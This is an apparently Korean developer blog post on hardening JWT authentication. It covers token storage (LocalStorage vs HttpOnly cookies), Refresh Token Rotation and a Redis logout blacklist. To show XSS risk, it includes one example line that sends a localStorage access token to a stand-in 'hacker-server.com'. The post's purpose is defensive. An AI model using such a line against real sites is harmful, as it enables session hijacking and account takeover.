JWT 인증 보안 취약점 점검

📌 이 글의 핵심 내용

  • JWT(JSON Web Token)의 구조적 한계와 Stateless의 양면성
  • 영원한 논쟁: LocalStorage vs HttpOnly Cookie (XSS, CSRF 공격 시나리오 분석)
  • 토큰 탈취 시 즉시 무력화하는 RTR(Refresh Token Rotation) 메커니즘 상세 설계
  • 로그아웃 처리 시 Blacklist 전략과 Redis 활용법

최근 웹 애플리케이션 인증 방식의 표준은 단연 JWT(JSON Web Token)입니다. 세션(Session) 방식처럼 서버의 메모리를 쓰지 않아도 되고, MSA 환경에서 확장성(Scalability)이 뛰어나기 때문입니다. 하지만 JWT에는 치명적인 단점이 있습니다.

"한번 발급된 토큰은 서버가 강제로 만료시킬 수 없다."

만약 해커가 여러분의 서비스 관리자 계정의 Access Token을 탈취했다면? 해커는 토큰 유효기간(예: 1시간) 동안 관리자 행세를 하며 데이터를 조작할 수 있습니다. 서버는 이 토큰이 해커의 것인지, 진짜 관리자의 것인지 알 방법이 없습니다. 이 글에서는 이러한 JWT의 보안 허점을 메우는 실무 전략을 다룹니다.

토큰 갱신과 보안의 전투

1. Access Token은 어디에 저장해야 할까?

프론트엔드 개발자들이 가장 많이 고민하는 주제입니다. 결론부터 말씀드리면 "LocalStorage는 절대 안 되며, HttpOnly Cookie가 그나마 안전하다"입니다. 두 저장소의 보안 취약점을 비교해 보겠습니다.

① LocalStorage 저장 시 (위험)

// 해커가 게시판에 심어둔 악성 스크립트 (XSS) fetch('https://hacker-server.com/steal?token=' + localStorage.getItem('accessToken'));

XSS(교차 사이트 스크립팅) 공격에 무방비합니다. React나 Vue를 쓰더라도 외부 라이브러리의 취약점을 통해 악성 스크립트가 주입되면, localStorage에 있는 토큰은 단 한 줄의 코드로 탈취됩니다.

② HttpOnly Cookie 저장 시 (권장)

쿠키에 HttpOnly 속성을 걸면 브라우저의 자바스크립트(document.cookie)로는 절대 쿠키에 접근할 수 없습니다. 즉, XSS 공격이 들어와도 토큰을 훔쳐갈 수 없습니다.

하지만 쿠키는 CSRF(사이트 간 요청 위조) 공격에 취약합니다. 해커가 만든 가짜 사이트에서 버튼을 눌렀는데, 내 브라우저에 저장된 쿠키가 실려 은행 사이트로 송금 요청이 날아가는 방식입니다. 다행히 이는 SameSite 설정으로 방어 가능합니다.

✅ 최적의 보안 설정 (Set-Cookie 헤더)
Authorization=eyJhbG...; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=1800
  • HttpOnly: 자바스크립트 접근 차단 (XSS 방어)
  • Secure: HTTPS 연결에서만 전송
  • SameSite=Strict: 다른 도메인에서의 요청에는 쿠키 전송 차단 (CSRF 방어)

2. Refresh Token Rotation (RTR) 기법

Access Token의 유효 기간을 30분으로 짧게 잡고, 만료 시 Refresh Token으로 재발급받는 구조를 많이 씁니다. 그런데 Refresh Token(유효기간 2주)이 탈취당하면 어떻게 될까요? 해커는 2주 동안 Access Token을 무한 리필하며 계정을 장악합니다.

이를 막기 위해 RTR(Refresh Token Rotation) 기법을 도입해야 합니다. 핵심은 "Refresh Token은 일회용이다"라는 것입니다.

🔄 RTR 작동 시나리오

  1. 사용자가 Access Token 재발급을 요청합니다 (Refresh Token A 제출).
  2. 서버는 Refresh Token A를 확인하고, 새로운 Access Token과 새로운 Refresh Token B를 발급합니다.
  3. 기존 Refresh Token A는 DB에서 즉시 삭제하거나 '사용됨(Used)' 상태로 변경합니다.
  4. (핵심 상황) 만약 해커가 탈취한 Refresh Token A(이미 사용됨)로 재발급을 시도하면?
  5. 서버는 "어? 이미 쓴 토큰을 또 냈네? 이건 탈취다!"라고 판단합니다.
  6. 서버는 해당 사용자(userId)에게 발급된 모든 Refresh Token(가족들)을 즉시 삭제하여 강제 로그아웃 시킵니다.

이 방식을 쓰면 토큰이 탈취되더라도, 해커가 한 번이라도 사용하는 순간 진짜 사용자와 해커 모두 연결이 끊기게 되어 피해를 최소화할 수 있습니다.

3. 로그아웃은 어떻게 구현하나요? (Blacklist)

JWT는 서버 상태가 없으므로(Stateless), 클라이언트가 토큰을 삭제해도 해당 토큰은 만료 시간까지 유효합니다. 누군가 주워서 쓰면 로그인이 됩니다.

이를 막기 위해 로그아웃 요청이 들어온 Access Token의 남은 유효 시간만큼 Redis에 저장해두고 차단해야 합니다. 이를 블랙리스트(Blacklist)라고 합니다.

public void logout(String accessToken) { // 1. 토큰에서 남은 유효 시간 추출 long expiration = jwtProvider.getExpiration(accessToken); // 2. Redis에 저장 (Key: 토큰, Value: "logout", TTL: 남은 시간) // 메모리 낭비를 막기 위해 TTL이 지나면 Redis에서도 자동 삭제됨 redisTemplate.opsForValue().set(accessToken, "logout", expiration, TimeUnit.MILLISECONDS); } // JwtFilter에서 검증 if (redisTemplate.hasKey(accessToken)) { throw new CustomException("로그아웃된 토큰입니다."); }

4. 결론

"보안과 편리함은 반비례한다"는 격언은 JWT에도 적용됩니다. 단순히 JWT 라이브러리만 쓴다고 보안이 해결되지 않습니다.

  • Access Token은 HttpOnly Cookie에 담으세요.
  • Refresh Token은 RTR(Rotation) 방식을 적용하여 일회용으로 만드세요.
  • 로그아웃은 Redis Blacklist로 처리하여 '좀비 토큰'을 방지하세요.

이 세 가지만 지켜도 여러분의 서비스는 상위 10% 수준의 인증 보안을 갖추게 됩니다.

이 블로그의 인기 게시물

Docker 컨테이너 'Connection Refused' (Errno 111) 오류 해결 가이드

Redis 캐싱 전략 완벽 가이드: Look Aside부터 Write Back까지 (DB 부하 줄이기)

브라우저 렌더링 원리: Reflow와 Repaint 최적화 가이드 (CRP 심층 분석)